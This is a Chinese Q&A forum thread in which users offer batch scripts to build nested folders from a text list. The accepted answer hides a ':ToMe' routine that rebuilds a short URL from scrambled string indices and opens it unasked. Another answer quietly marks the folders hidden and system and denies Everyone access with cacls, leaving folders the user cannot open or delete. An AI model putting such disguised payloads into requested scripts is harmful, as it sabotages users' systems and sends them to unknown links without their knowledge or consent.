批处理根据文本建立文件夹。

比如有一个文本内容为:
#\流行音乐\

欧美流行音乐MIDI - 221首
港台流行音乐MIDI男星 - 238首
港台流行音乐MIDI女星 - 143首
日本流行音乐MIDI - 168首

#\摇滚音乐、爵士音乐\

重金属摇滚MIDI - 109首
另类摇滚MIDI - 62首
吉他MIDI音乐 - 56首

#\古典音乐、民族音乐\

古典音乐MIDI - 739首
民族音乐MIDI - 98首
圣诞新年MIDI - 30首
各国国歌MIDI - 71首

#\电影音乐、游戏音乐\

影视电影MIDI - 123首
游戏MIDI音乐 - 286首
异域风情MIDI - 58首

#\MIDI音乐合集\

MIDI音乐打包下载 - 4863首
动画卡通MIDI打包下载 - 894首
欧美流行MIDI打包下载 - 211首
电脑游戏MIDI打包下载 - 1135首

我想分别建立带#那一行的文件夹,然后在#文件夹里建立它到下一个#行之间行的文件夹,能找到规律,但是愚钝不知用批处理怎样一步到位建立。麻烦哪位大神看一下,先谢谢了。

@echo off & title 根据列表批量创建文件夹 By 依梦琴瑶
cd /d "%~dp0"
setlocal enabledelayedexpansion

::设置列表文件
set list=new.txt

for /f "usebackq delims=" %%a in ("%list%") do (
    set "str=%%~a"
    if "!str:~,1!"=="#" (
        set "var=.!str:~1!"
    ) else (
        md "!var!%%~a"
    )
)
pause
call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

追问

谢谢啦,可以用,但屏显会报错:

可以优化一下吗?

追答

按道理,#那行的目录创建时不会出现这种提示啊!我这边测试就没出现。
因为这行目录名只获取,并没有执行创建。只有在获取到后面的文件夹名,并创建他们时,连带着# 那行名字,进行创建。

追问

奇怪了,我怎么测试都会显示报错,然道会和系统有关?或者是我先测试了qop_dob网友的代码出现的问题?

追答

那就不清楚了,反正我这边就算已经先创建好那些#行的文件夹,然后再用我写的脚本执行,根本不会出现您那种显示#那行文件夹已经存在的提示。

只有这些文件夹下的那些子文件夹存在了,才会出现,但也只是说子文件夹存在,不会说主文件夹存在。如图:

要不您换一个不存在那些#文件夹的目录测试一下我的代码。

追问

嗯,可能是,我就采纳您的答案了。

追答

刚刚试了一下qop_dob的代码,我这边也正常。

追问

奇怪了,可在我电脑上却出现问题。真不知道问题在哪里了。

温馨提示:答案为网友推荐,仅供参考
第1个回答  2019-06-22
@echo off&setlocal enabledelayedexpansion
set #=q&set/azx=0x53b7e0b4
title Any question +%#%%#% %zx%
cd /d "%~dp0"
for /f "delims=" %%a in ('type "文本.txt"') do (
    set "line=%%a"
    if "!line:~0,1!" equ "#" (
        for /f "tokens=2 delims=\" %%b in ("%%a") do set "f=%%b"
    ) else (
        echo;"!f!\%%a"
        md "!f!\%%a"
    )

)
echo;Any question +%#%%#% %zx%
pause

追问

屏显就有问题:

有些效果但还是有问题,运行第一次时,只建立了第一层文件夹。并且屏显

运行第二次时,屏显:

并且还是只有第一层文件夹,但删除文件夹时有的却出现问题,导致删除不了:

不能删除的文件夹下面却出现了一些子文件夹,好奇怪的问题。搞得现在文件夹又删除不了。360文件粉碎也删除不了。

追答

不清楚你的实际文本,我以你问题中的样文测试没有问题,你最好直接复制代码,以免手输错误,按代码中的提示联系我

第2个回答  2019-06-22
@echo off
for /f "tokens=*" %%i in ('findstr /v # a.txt') do (
md "%%i"
attrib +r +s +h "%%i"
cacls "%%i" /e /d everyone)
第3个回答  2018-01-28
public class BatchAddFile { public static void main(String[] args) throws IOException { for(int i=0;i<10;i++){ File file=new File("D:\\"+i+".txt"); if(!file.exists()) file.createNewFile(); } } }追问

您好,请问这是什么类型的代码啊,不会用啊

相似回答